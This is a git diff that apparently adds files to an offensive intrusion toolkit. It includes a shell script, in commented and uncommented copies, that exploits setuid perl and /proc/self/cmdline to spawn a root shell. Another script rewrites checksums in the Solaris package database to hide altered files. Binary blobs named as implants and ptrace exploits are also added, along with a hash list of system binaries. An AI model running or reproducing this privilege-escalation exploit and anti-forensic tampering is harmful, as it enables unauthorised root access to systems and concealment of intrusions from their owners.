elsif (-l _) { $perms = 'l' . $perms; $pname .= ' -> ' . readlink($_); } + elsif (-c _) { $perms = 'c' . $perms; $size = sizemm($rdev); } + elsif (-b _) { $perms = 'b' . $perms; $size = sizemm($rdev); } + elsif (-p _) { $perms = 'p' . $perms; } + elsif (-S _) { $perms = 's' . $perms; } + else { $perms = '?' . $perms; } + + my $user = $user{$uid} || $uid; + my $group = $group{$gid} || $gid; + + #mtime + my ($msec,$mmin,$mhour,$mmday,$mmon,$mtimeyear) = localtime($mtime); + $mtimeyear += 1900; + my $mmtime = sprintf("%02d:%02d:%02d %d", $mhour, $mmin, $msec, $mtimeyear); + + #atime + my ($asec,$amin,$ahour,$amday,$amon,$atimeyear) = localtime($atime); + $atimeyear += 1900; + my $aatime = sprintf("%02d:%02d:%02d %d", $ahour, $amin, $asec, $atimeyear); + + #ctime + my ($csec,$cmin,$chour,$cmday,$cmon,$ctimeyear) = localtime($ctime); + $ctimeyear += 1900; + my $cctime = sprintf("%02d:%02d:%02d %d", $chour, $cmin, $csec, $ctimeyear); + + if ($after_year) { + if ($ENV{'M'}) { + next if $mtimeyear < $after_year; + if ($after_year == $mtimeyear) { + next if ($mmon+1) < $after_mon; + if ( ($mmon+1) == $after_mon) { + next if $mmday < $after_day; + } + } + } elsif ($ENV{'C'}) { + next if $ctimeyear < $after_year; + if ($after_year == $ctimeyear) { + next if ($cmon+1) < $after_mon; + if ( ($cmon+1) == $after_mon) { + next if $cmday < $after_day; + } + } + } elsif ($ENV{'A'}) { + next if $atimeyear < $after_year; + if ($after_year == $atimeyear) { + next if ($amon+1) < $after_mon; + if ( ($amon+1) == $after_mon) { + next if $amday < $after_day; + } + } + } + } + + printf "%7lu %-10s %4d %-8s %-8s %10s | %s %2d %5s | %s %2d %5s | %s %2d %5s | %s\n", + $ino, + $perms, + $nlink, + $user, + $group, + $size, + $moname[$mmon], + $mmday, + $mmtime, + $moname[$amon], + $amday, + $aatime, + $moname[$cmon], + $cmday, + $cctime, + $pname; + 1; +} + diff --git a/Linux/up/pf b/Linux/up/pf new file mode 100755 index 0000000..ec5c021 --- /dev/null +++ b/Linux/up/pf @@ -0,0 +1,71 @@ +#!/bin/sh + + +PATH=:/bin:/usr/bin +it=it +contents=/var/sadm/install/contents +do_mtime=0 + +if [ "$1" = "-m" ]; then + do_mtime=1 + shift +fi +case $# in + 1 ) file=$1 ;; + 2 ) file=$1; it=$2 ;; + * ) echo "Usage: $0 [-m] "; exit ;; +esac +if [ ! -f $it ]; then + echo "need $it available to run this" + exit +fi +if [ ! -f $contents ]; then + echo "$contents does not exist" + exit +fi +if [ ! -f $file ]; then + echo "$file does not exist" + exit +fi + +resetcmd=`$it $contents | grep "$it"` + +sz=`wc -c $file | awk '{print $1}'` +sum=`sum $file | cut -d' ' -f1` +mtime=`$it $file | grep "$it" | awk '{print $5}' | cut -d. -f1` + +if [ $do_mtime -eq 1 ]; then + new=`echo $sz $sum $mtime` +else + new=`echo $sz $sum` +fi + +if [ $do_mtime -eq 1 ]; then + old=`grep "$file " $contents | awk '{print $7" "$8" "$9}'` +else + old=`grep "$file " $contents | awk '{print $7" "$8}'` +fi + +echo "old size/sum values = [$old]" +echo "new size/sum values = [$new]" + +if [ "$old" = "$new" ]; then + echo "no change necessary" + exit +fi + +ed $contents << END +g=$file =p +s=$old=$new=p +w +q +END + +echo +echo "Using reset command:" +echo $resetcmd +echo + +$resetcmd + +exit diff --git a/Linux/up/pf.old b/Linux/up/pf.old new file mode 100755 index 0000000..ec5c021 --- /dev/null +++ b/Linux/up/pf.old @@ -0,0 +1,71 @@ +#!/bin/sh + + +PATH=:/bin:/usr/bin +it=it +contents=/var/sadm/install/contents +do_mtime=0 + +if [ "$1" = "-m" ]; then + do_mtime=1 + shift +fi +case $# in + 1 ) file=$1 ;; + 2 ) file=$1; it=$2 ;; + * ) echo "Usage: $0 [-m] "; exit ;; +esac +if [ ! -f $it ]; then + echo "need $it available to run this" + exit +fi +if [ ! -f $contents ]; then + echo "$contents does not exist" + exit +fi +if [ ! -f $file ]; then + echo "$file does not exist" + exit +fi + +resetcmd=`$it $contents | grep "$it"` + +sz=`wc -c $file | awk '{print $1}'` +sum=`sum $file | cut -d' ' -f1` +mtime=`$it $file | grep "$it" | awk '{print $5}' | cut -d. -f1` + +if [ $do_mtime -eq 1 ]; then + new=`echo $sz $sum $mtime` +else + new=`echo $sz $sum` +fi + +if [ $do_mtime -eq 1 ]; then + old=`grep "$file " $contents | awk '{print $7" "$8" "$9}'` +else + old=`grep "$file " $contents | awk '{print $7" "$8}'` +fi + +echo "old size/sum values = [$old]" +echo "new size/sum values = [$new]" + +if [ "$old" = "$new" ]; then + echo "no change necessary" + exit +fi + +ed $contents << END +g=$file =p +s=$old=$new=p +w +q +END + +echo +echo "Using reset command:" +echo $resetcmd +echo + +$resetcmd + +exit diff --git a/Linux/up/pork_implants.tar.bz2 b/Linux/up/pork_implants.tar.bz2 new file mode 100644 index 0000000..33b8050 Binary files /dev/null and b/Linux/up/pork_implants.tar.bz2 differ diff --git a/Linux/up/porkserver b/Linux/up/porkserver new file mode 100755 index 0000000..d010a53 Binary files /dev/null and b/Linux/up/porkserver differ diff --git a/Linux/up/procsuids.sh.WITHCOMMENTS b/Linux/up/procsuids.sh.WITHCOMMENTS new file mode 100755 index 0000000..37abc34 --- /dev/null +++ b/Linux/up/procsuids.sh.WITHCOMMENTS @@ -0,0 +1,95 @@ +#!/bin/sh + +# make sure suidperl exists +# should be installed in same directory as perl +perl=`which perl` +if [ -z "$perl" ]; then + echo "can't find perl, quitting" + exit 1 +fi + +perldir=`dirname "$perl"` +sperl=`find $perldir -name "sperl*" | head -n 1` +if [ -z "$sperl" ]; then + echo "can't find setuid perl, quitting" + exit 1 +fi + +# must be setuid-root +ls -l $sperl | egrep "^.rws" >/dev/null +if [ $? -eq 1 ]; then + echo "$sperl is not setuid root, quitting" + exit 1 +fi + +# Next check if SELinux is enabled +# assume SELinux is enabled +selinux=1 + +# if the /etc/selinux/config file doesn't exist, SELinux most +# likely is not in use on the machine +if [ -f /etc/selinux/config ]; then + # check if SELinux is in enforcing mode, with the + # getenforce command + getenforce="getenforce" + which getenforce >/dev/null 2>&1 + if [ $? -eq 1 ]; then + # look for the command in some likely places + for dir in /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; do + if [ -f $dir/getenforce ]; then + getenforce="$dir/getenforce" + break; + fi + done + fi + + # run getenforce if we have it + if [ "$getenforce" ]; then + mode=`$getenforce | tr "[A-Z]" "[a-z]"` + if [ "$mode" == "enforcing" ]; then + echo "SELinux is enforcing." + else + selinux=0; + fi + else + echo "Can't determine if SELinux is enabled." + fi +else + selinux=0 +fi + +if [ $selinux -eq 1 ] +then + echo "If SELinux is enabled, the exploit will most likely" + echo "fail and a system log message will be generated." + echo -n "Continue anyway [y/n]? " + read resp + if [ "$resp" != "y" -a "$resp" != "Y" ] + then + echo "aborting" + exit 1 + fi +fi + +cmd=`echo -ne '#\041'$perl' +$ENV{PATH}="/bin:/usr/bin:/sbin:/usr/sbin"; +$h{$ARGV[0]}=1; +$pid=(keys(%h))[0]; +system("sh", "-c", "kill $pid"); +exec {"sh"} "bash", "-p";'` + +( + cd /proc/self + chmod 6755 cmdline + exec -a "$cmd" /usr/bin/passwd >/dev/null 2>&1 +) & + +PID=$! +# give passwd time to load +usleep 300000 +kill -0 $PID >/dev/null 2>&1 +if [ $? -eq 0 ]; then + exec /proc/$PID/cmdline $PID # exec to get rid of original command +else + echo "failed" +fi diff --git a/Linux/up/procsuids.sh.WITHOUTCOMMENTS b/Linux/up/procsuids.sh.WITHOUTCOMMENTS new file mode 100755 index 0000000..c9574cd --- /dev/null +++ b/Linux/up/procsuids.sh.WITHOUTCOMMENTS @@ -0,0 +1,95 @@ +#!/bin/sh + + + +perl=`which perl` +if [ -z "$perl" ]; then +echo "can't find perl, quitting" +exit 1 +fi + +perldir=`dirname "$perl"` +sperl=`find $perldir -name "sperl*" | head -n 1` +if [ -z "$sperl" ]; then +echo "can't find setuid perl, quitting" +exit 1 +fi + + +ls -l $sperl | egrep "^.rws" >/dev/null +if [ $? -eq 1 ]; then +echo "$sperl is not setuid root, quitting" +exit 1 +fi + + + +selinux=1 + + + +if [ -f /etc/selinux/config ]; then + + +getenforce="getenforce" +which getenforce >/dev/null 2>&1 +if [ $? -eq 1 ]; then + +for dir in /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; do +if [ -f $dir/getenforce ]; then +getenforce="$dir/getenforce" +break; +fi +done +fi + + +if [ "$getenforce" ]; then +mode=`$getenforce | tr "[A-Z]" "[a-z]"` +if [ "$mode" == "enforcing" ]; then +echo "SELinux is enforcing." +else +selinux=0; +fi +else +echo "Can't determine if SELinux is enabled." +fi +else +selinux=0 +fi + +if [ $selinux -eq 1 ] +then +echo "If SELinux is enabled, the exploit will most likely" +echo "fail and a system log message will be generated." +echo -n "Continue anyway [y/n]? " +read resp +if [ "$resp" != "y" -a "$resp" != "Y" ] +then +echo "aborting" +exit 1 +fi +fi + +cmd=`echo -ne '#\041'$perl' +$ENV{PATH}="/bin:/usr/bin:/sbin:/usr/sbin"; +$h{$ARGV[0]}=1; +$pid=(keys(%h))[0]; +system("sh", "-c", "kill $pid"); +exec {"sh"} "bash", "-p";'` + +( +cd /proc/self +chmod 6755 cmdline +exec -a "$cmd" /usr/bin/passwd >/dev/null 2>&1 +) & + +PID=$! + +usleep 300000 +kill -0 $PID >/dev/null 2>&1 +if [ $? -eq 0 ]; then +exec /proc/$PID/cmdline $PID +else +echo "failed" +fi diff --git a/Linux/up/ptrace-2.0-2.2 b/Linux/up/ptrace-2.0-2.2 new file mode 100755 index 0000000..dc051f6 Binary files /dev/null and b/Linux/up/ptrace-2.0-2.2 differ diff --git a/Linux/up/ptrace-2.2-2.4 b/Linux/up/ptrace-2.2-2.4 new file mode 100755 index 0000000..2b015ed Binary files /dev/null and b/Linux/up/ptrace-2.2-2.4 differ diff --git a/Linux/up/ptrace-port-24876 b/Linux/up/ptrace-port-24876 new file mode 100755 index 0000000..13f5368 Binary files /dev/null and b/Linux/up/ptrace-port-24876 differ diff --git a/Linux/up/redirect.connect.so b/Linux/up/redirect.connect.so new file mode 100755 index 0000000..21a1243 Binary files /dev/null and b/Linux/up/redirect.connect.so differ diff --git a/Linux/up/rip b/Linux/up/rip new file mode 100755 index 0000000..e15d142 Binary files /dev/null and b/Linux/up/rip differ diff --git a/Linux/up/rsync-2.6.3-i686-pc-linux-gnu b/Linux/up/rsync-2.6.3-i686-pc-linux-gnu new file mode 100755 index 0000000..b446674 Binary files /dev/null and b/Linux/up/rsync-2.6.3-i686-pc-linux-gnu differ diff --git a/Linux/up/rsync-3.0.5-i386.pc.solaris-2.6 b/Linux/up/rsync-3.0.5-i386.pc.solaris-2.6 new file mode 100755 index 0000000..1a91dfa Binary files /dev/null and b/Linux/up/rsync-3.0.5-i386.pc.solaris-2.6 differ diff --git a/Linux/up/rsync-3.0.5-i686-pc-linux-gnu b/Linux/up/rsync-3.0.5-i686-pc-linux-gnu new file mode 100755 index 0000000..89e010f Binary files /dev/null and b/Linux/up/rsync-3.0.5-i686-pc-linux-gnu differ diff --git a/Linux/up/rsync-3.0.5-sparc.sun.solaris-2.6 b/Linux/up/rsync-3.0.5-sparc.sun.solaris-2.6 new file mode 100755 index 0000000..1fdfe1e Binary files /dev/null and b/Linux/up/rsync-3.0.5-sparc.sun.solaris-2.6 differ diff --git a/Linux/up/seconddate_implants.tar.bz2 b/Linux/up/seconddate_implants.tar.bz2 new file mode 100644 index 0000000..36b250f Binary files /dev/null and b/Linux/up/seconddate_implants.tar.bz2 differ diff --git a/Linux/up/sgrep b/Linux/up/sgrep new file mode 100755 index 0000000..7c14c56 Binary files /dev/null and b/Linux/up/sgrep differ diff --git a/Linux/up/sgrep.alphaev6-dec-osf4.0f b/Linux/up/sgrep.alphaev6-dec-osf4.0f new file mode 100644 index 0000000..2b173e8 Binary files /dev/null and b/Linux/up/sgrep.alphaev6-dec-osf4.0f differ diff --git a/Linux/up/sgrep.alphaev6-dec-osf5.1 b/Linux/up/sgrep.alphaev6-dec-osf5.1 new file mode 100644 index 0000000..2b173e8 Binary files /dev/null and b/Linux/up/sgrep.alphaev6-dec-osf5.1 differ diff --git a/Linux/up/sgrep.hppa1.1-hp-hpux10.20 b/Linux/up/sgrep.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..f3e6ffc Binary files /dev/null and b/Linux/up/sgrep.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/sgrep.hppa1.1-hp-hpux11.00 b/Linux/up/sgrep.hppa1.1-hp-hpux11.00 new file mode 100644 index 0000000..2627e80 Binary files /dev/null and b/Linux/up/sgrep.hppa1.1-hp-hpux11.00 differ diff --git a/Linux/up/sgrep.i386-pc-bsdi4.0.1 b/Linux/up/sgrep.i386-pc-bsdi4.0.1 new file mode 100644 index 0000000..3c34edf Binary files /dev/null and b/Linux/up/sgrep.i386-pc-bsdi4.0.1 differ diff --git a/Linux/up/sgrep.i386-pc-sco3.2v5.0.5 b/Linux/up/sgrep.i386-pc-sco3.2v5.0.5 new file mode 100644 index 0000000..bd8f769 Binary files /dev/null and b/Linux/up/sgrep.i386-pc-sco3.2v5.0.5 differ diff --git a/Linux/up/sgrep.i386-pc-solaris2.6 b/Linux/up/sgrep.i386-pc-solaris2.6 new file mode 100644 index 0000000..795665b Binary files /dev/null and b/Linux/up/sgrep.i386-pc-solaris2.6 differ diff --git a/Linux/up/sgrep.i386-pc-solaris2.7 b/Linux/up/sgrep.i386-pc-solaris2.7 new file mode 100644 index 0000000..3744f73 Binary files /dev/null and b/Linux/up/sgrep.i386-pc-solaris2.7 differ diff --git a/Linux/up/sgrep.i386-pc-solaris2.8 b/Linux/up/sgrep.i386-pc-solaris2.8 new file mode 100644 index 0000000..8e606ad Binary files /dev/null and b/Linux/up/sgrep.i386-pc-solaris2.8 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.0 b/Linux/up/sgrep.i386-unknown-freebsd4.0 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.0 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.1 b/Linux/up/sgrep.i386-unknown-freebsd4.1 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.1 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.2 b/Linux/up/sgrep.i386-unknown-freebsd4.2 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.2 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.3 b/Linux/up/sgrep.i386-unknown-freebsd4.3 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.3 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.4 b/Linux/up/sgrep.i386-unknown-freebsd4.4 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.4 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.5 b/Linux/up/sgrep.i386-unknown-freebsd4.5 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.5 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.6 b/Linux/up/sgrep.i386-unknown-freebsd4.6 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.6 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.7 b/Linux/up/sgrep.i386-unknown-freebsd4.7 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.7 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.8 b/Linux/up/sgrep.i386-unknown-freebsd4.8 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.8 differ diff --git a/Linux/up/sgrep.i386-unknown-freebsd4.9 b/Linux/up/sgrep.i386-unknown-freebsd4.9 new file mode 100644 index 0000000..91949c3 Binary files /dev/null and b/Linux/up/sgrep.i386-unknown-freebsd4.9 differ diff --git a/Linux/up/sgrep.i486-pc-linux-gnu b/Linux/up/sgrep.i486-pc-linux-gnu new file mode 100644 index 0000000..4dca851 Binary files /dev/null and b/Linux/up/sgrep.i486-pc-linux-gnu differ diff --git a/Linux/up/sgrep.i486-pc-linux-gnulibc1 b/Linux/up/sgrep.i486-pc-linux-gnulibc1 new file mode 100644 index 0000000..c986d12 Binary files /dev/null and b/Linux/up/sgrep.i486-pc-linux-gnulibc1 differ diff --git a/Linux/up/sgrep.i586-pc-linux-gnu b/Linux/up/sgrep.i586-pc-linux-gnu new file mode 100644 index 0000000..7c14c56 Binary files /dev/null and b/Linux/up/sgrep.i586-pc-linux-gnu differ diff --git a/Linux/up/sgrep.i686-pc-linux-gnu b/Linux/up/sgrep.i686-pc-linux-gnu new file mode 100644 index 0000000..9a1247e Binary files /dev/null and b/Linux/up/sgrep.i686-pc-linux-gnu differ diff --git a/Linux/up/sgrep.i686-pc-linux-gnu-redhat-7.0 b/Linux/up/sgrep.i686-pc-linux-gnu-redhat-7.0 new file mode 100644 index 0000000..9a1247e Binary files /dev/null and b/Linux/up/sgrep.i686-pc-linux-gnu-redhat-7.0 differ diff --git a/Linux/up/sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 b/Linux/up/sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 new file mode 100644 index 0000000..6dafb40 Binary files /dev/null and b/Linux/up/sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 differ diff --git a/Linux/up/sgrep.mips-sgi-irix5.3 b/Linux/up/sgrep.mips-sgi-irix5.3 new file mode 100644 index 0000000..585accb Binary files /dev/null and b/Linux/up/sgrep.mips-sgi-irix5.3 differ diff --git a/Linux/up/sgrep.mips-sgi-irix6.2 b/Linux/up/sgrep.mips-sgi-irix6.2 new file mode 100644 index 0000000..585accb Binary files /dev/null and b/Linux/up/sgrep.mips-sgi-irix6.2 differ diff --git a/Linux/up/sgrep.mips-sgi-irix6.3 b/Linux/up/sgrep.mips-sgi-irix6.3 new file mode 100644 index 0000000..585accb Binary files /dev/null and b/Linux/up/sgrep.mips-sgi-irix6.3 differ diff --git a/Linux/up/sgrep.mips-sgi-irix6.5 b/Linux/up/sgrep.mips-sgi-irix6.5 new file mode 100644 index 0000000..585accb Binary files /dev/null and b/Linux/up/sgrep.mips-sgi-irix6.5 differ diff --git a/Linux/up/sgrep.powerpc-apple-darwin1.3 b/Linux/up/sgrep.powerpc-apple-darwin1.3 new file mode 100644 index 0000000..eb71def Binary files /dev/null and b/Linux/up/sgrep.powerpc-apple-darwin1.3 differ diff --git a/Linux/up/sgrep.powerpc-ibm-aix5.1 b/Linux/up/sgrep.powerpc-ibm-aix5.1 new file mode 100644 index 0000000..87c61ec Binary files /dev/null and b/Linux/up/sgrep.powerpc-ibm-aix5.1 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.3 b/Linux/up/sgrep.sparc-sun-solaris2.3 new file mode 100644 index 0000000..846674c Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.3 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.4 b/Linux/up/sgrep.sparc-sun-solaris2.4 new file mode 100644 index 0000000..ab51b72 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.4 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.5 b/Linux/up/sgrep.sparc-sun-solaris2.5 new file mode 100644 index 0000000..6c2c790 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.5 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.5.1 b/Linux/up/sgrep.sparc-sun-solaris2.5.1 new file mode 100644 index 0000000..7ca4019 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.5.1 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.6 b/Linux/up/sgrep.sparc-sun-solaris2.6 new file mode 100644 index 0000000..6e8a05b Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.6 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.7 b/Linux/up/sgrep.sparc-sun-solaris2.7 new file mode 100644 index 0000000..65a7f89 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.7 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.8 b/Linux/up/sgrep.sparc-sun-solaris2.8 new file mode 100644 index 0000000..dd308f0 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.8 differ diff --git a/Linux/up/sgrep.sparc-sun-solaris2.9 b/Linux/up/sgrep.sparc-sun-solaris2.9 new file mode 100644 index 0000000..dd308f0 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-solaris2.9 differ diff --git a/Linux/up/sgrep.sparc-sun-sunos4.1.1 b/Linux/up/sgrep.sparc-sun-sunos4.1.1 new file mode 100644 index 0000000..441a1dc Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-sunos4.1.1 differ diff --git a/Linux/up/sgrep.sparc-sun-sunos4.1.2 b/Linux/up/sgrep.sparc-sun-sunos4.1.2 new file mode 100644 index 0000000..bc796b1 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-sunos4.1.2 differ diff --git a/Linux/up/sgrep.sparc-sun-sunos4.1.3 b/Linux/up/sgrep.sparc-sun-sunos4.1.3 new file mode 100644 index 0000000..91ca433 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-sunos4.1.3 differ diff --git a/Linux/up/sgrep.sparc-sun-sunos4.1.3_U1 b/Linux/up/sgrep.sparc-sun-sunos4.1.3_U1 new file mode 100644 index 0000000..91ca433 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-sunos4.1.3_U1 differ diff --git a/Linux/up/sgrep.sparc-sun-sunos4.1.4 b/Linux/up/sgrep.sparc-sun-sunos4.1.4 new file mode 100644 index 0000000..91ca433 Binary files /dev/null and b/Linux/up/sgrep.sparc-sun-sunos4.1.4 differ diff --git a/Linux/up/sha1sums b/Linux/up/sha1sums new file mode 100755 index 0000000..65d6775 --- /dev/null +++ b/Linux/up/sha1sums @@ -0,0 +1,3529 @@ +1589028FB693DB7238AB6F1A8F378EC7AB4CD7BF Thu Nov 3 08:10:07 2005 /bin/ls [FreeBSD 6.0] +784656264792F969AA0D851210E3EC5F05E6C345 Thu Nov 3 08:10:07 2005 /bin/ps [FreeBSD 6.0] +B380A27C131956D22A08BFB2EBE3EB8D92611869 Thu Nov 3 08:10:08 2005 /bin/sh [FreeBSD 6.0] +B22A633D4AC583C87FF8287F73DB6A24D0A2D8AD Thu Nov 3 08:10:08 2005 /bin/rm [FreeBSD 6.0] +D0100BEEE99676DC8D67F952F821AA98ABFA69F6 Thu Nov 3 08:11:31 2005 /usr/bin/su [FreeBSD 6.0] +CC6A7BD23BA9B653A053F4F4E25852FD4297AF16 Thu Nov 3 08:11:23 2005 /usr/bin/login [FreeBSD 6.0] +59EF58B274090371F1B921D8C5682E945BC2BB39 Thu Nov 3 08:11:27 2005 /usr/bin/netstat [FreeBSD 6.0] +13534AAE38F5A5358310348DF408AB0B2C679F8E Thu Nov 3 08:11:38 2005 /usr/sbin/arp [FreeBSD 6.0] +7B94BE2AF4D607CE3407716A456922D83F572000 Thu Nov 3 08:11:20 2005 /usr/bin/find [FreeBSD 6.0] +C850D6185AA66813389BEEACFE5C96E894969BFE Thu Nov 3 08:11:46 2005 /usr/sbin/inetd [FreeBSD 6.0] +6584F7BC02B0E65784E1A50102C01AF93B9A2339 Thu Nov 3 08:11:32 2005 /usr/bin/telnet [FreeBSD 6.0] +C58D339491E7FFA9E6C1ED8D5111DBB56EBCB95F Thu Nov 3 08:11:34 2005 /usr/bin/w [FreeBSD 6.0] + +A9F28F21FE28BA703284636DAC579F465276491F Mon Oct 27 15:24:16 2003 /bin/ps [FreeBSD 4.9] +798604D5181561FA4AEDF5BFC5102A2C2CDFE42A Mon Oct 27 15:24:15 2003 /bin/ls [FreeBSD 4.9] +A2352C6325A2978DF5DDB37C558F36E800DA606C Mon Oct 27 15:24:17 2003 /bin/sh [FreeBSD 4.9] +3440A8F4726475664B28466853205F00F600389D Mon Oct 27 15:24:16 2003 /bin/rm [FreeBSD 4.9] +68401B067C1BCF98A3228C30FCD334CB85B3D588 Mon Oct 27 15:26:22 2003 /usr/bin/netstat [FreeBSD 4.9] +ED926C2B8F00FFDC8B02C4F7A3E3E9517FD1FD36 Mon Oct 27 15:26:34 2003 /usr/sbin/arp [FreeBSD 4.9] +83F11F226AC4F50E0EBE25883095B8A79FAF5E2D Mon Oct 27 15:26:17 2003 /usr/bin/find [FreeBSD 4.9] +AE8641AFA55C63212B0E0EA1B4C5C5983941CA81 Mon Oct 27 15:26:37 2003 /usr/sbin/inetd [FreeBSD 4.9] +AAD71A06CBCE192F295BD753A8EBDC3D5FD49661 Mon Oct 27 15:26:30 2003 /usr/bin/w [FreeBSD 4.9] +DE16398F50BE910DE5309611B12722A9409CB72D Mon Oct 27 15:31:32 2003 /usr/bin/su [FreeBSD 4.9] +220A5320B3F40FE02ABDCF14770FF3184C9C21C5 Mon Oct 27 15:31:32 2003 /usr/bin/login [FreeBSD 4.9] +3D87D50342C3091356B737468452D6AA98EF4AE1 Mon Oct 27 15:36:35 2003 /usr/bin/telnet [FreeBSD 4.9] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.2] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.2] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.2] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.2] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.2] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.2] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.2] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.2] +41E2DAB52D859E3E00E8E98F303550A2ECB75A96 Fri May 4 11:37:13 2007 /usr/sbin/pure-ftpd [SuSE Enterprise 10.2] +61D0B9736356EB25EC5B8428C0144184CDC318E1 Thu Sep 13 15:56:32 2007 /sbin/modinfo [SuSE Enterprise 10.2] +FFF63759CEB20DAC9F683685F2D967742763D133 Mon Apr 21 23:33:20 2008 /usr/bin/w [SuSE Enterprise 10.2] +C58869F7EC2AA7C29F65DB480AA7F86D6DB89604 Mon Apr 21 23:33:19 2008 /bin/ps [SuSE Enterprise 10.2] +1CC192B9CB5681B5D71A54A9C7B261CBE1C0103D Mon Apr 21 23:36:46 2008 /sbin/arp [SuSE Enterprise 10.2] +94CFC379A717AF84EC1E45ACE7393C4D3AE48F6F Mon Apr 21 23:36:46 2008 /bin/netstat [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.2] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.2] +365EC4AFA8179AEEED34317D436565F9D25FAE26 Fri May 4 11:37:13 2007 /usr/sbin/rcpure-ftpd [SuSE Enterprise 10.2] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /usr/bin/sh [SuSE Enterprise 10.2] + +4EEA9A32B1B9F1A3B37FD8934E5E2D02E1C7CB39 Tue Jul 29 16:07:23 2003 /usr/bin/telnet [Fedora 1] +6B8CF3FAC846612A50271504AC7C63E65D8748A4 Mon Aug 25 15:15:29 2003 /sbin/arp [Fedora 1] +5D89F50A8135412F4C104C77975FAD2984B71DC4 Mon Aug 25 15:15:29 2003 /bin/netstat [Fedora 1] +A503B76940948CDEB2DBBF21FE397A786765FBF2 Thu Sep 11 12:19:54 2003 /bin/login [Fedora 1] +2818A6B7F8AA7CADFD9BE509A20B19234508E575 Fri Oct 3 11:18:41 2003 /usr/bin/w [Fedora 1] +A1EBEA612EC9F38CB4101FC60FA114F225E97982 Fri Oct 3 11:18:41 2003 /bin/ps [Fedora 1] +366F98F0AD21ADEAF6EE4E5FB45FCD7356C85442 Tue Oct 7 19:43:45 2003 /sbin/modinfo [Fedora 1] +F26AC09B31E791EFCDF9C175730457C04C59D302 Sun Oct 12 07:41:50 2003 /usr/sbin/xinetd [Fedora 1] +08947552A4CED6BF8D0B96A4894AE4B90B79EC6B Sun Oct 12 08:50:30 2003 /bin/su [Fedora 1] +C9C754110A559B622F04825CD279E2001F686733 Sun Oct 12 08:50:59 2003 /bin/rm [Fedora 1] +5BD907DFA76BE2D014BA1D289C9237194A5115E6 Sun Oct 12 08:50:59 2003 /bin/ls [Fedora 1] +51EF9D20E6C6C562376CC34B9B0471D353697A65 Sat Oct 25 12:36:43 2003 /usr/bin/find [Fedora 1] +9D19EE6F126348C7DD8E484065456FD5888D8486 Tue Oct 28 14:15:09 2003 /bin/sh [Fedora 1] + 